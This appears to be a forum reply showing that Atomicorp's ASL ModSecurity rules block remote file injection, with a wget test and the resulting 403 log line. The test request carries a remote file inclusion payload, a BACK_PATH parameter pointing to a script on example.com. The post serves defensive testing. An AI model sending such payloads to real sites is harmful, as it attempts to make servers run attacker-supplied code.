Yes, ASL already protects you from this entire class of vulnerabilities:
[root@asl-modsec-test ~]# wget localhost/whatever.php?BACK_PATH=http://www.example.com/badscript.php
--2011-12-24 09:28:54--
http://localhost/whatever.php?BACK_PATH ... script.phpResolving localhost... 127.0.0.1
Connecting to localhost|127.0.0.1|:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2011-12-24 09:28:54 ERROR 403: Forbidden.
[modsecurity] [client 127.0.0.1] [domain localhost] [403] [/20111224/20111224-0927/20111224-092714-VHgvyMCoAfkAAHWhc@gAAAAD] [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "486"] [id "340162"] [rev "257"] [msg "Atomicorp.com WAF Rules: Remote File Injection attempt in ARGS (AE)"] [data "http:/"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith http:/%{SERVER_NAME}/" against "MATCHED_VAR" required.
So it doesnt matter if you have any of these functions enabled or not, the attack is blocked regardless.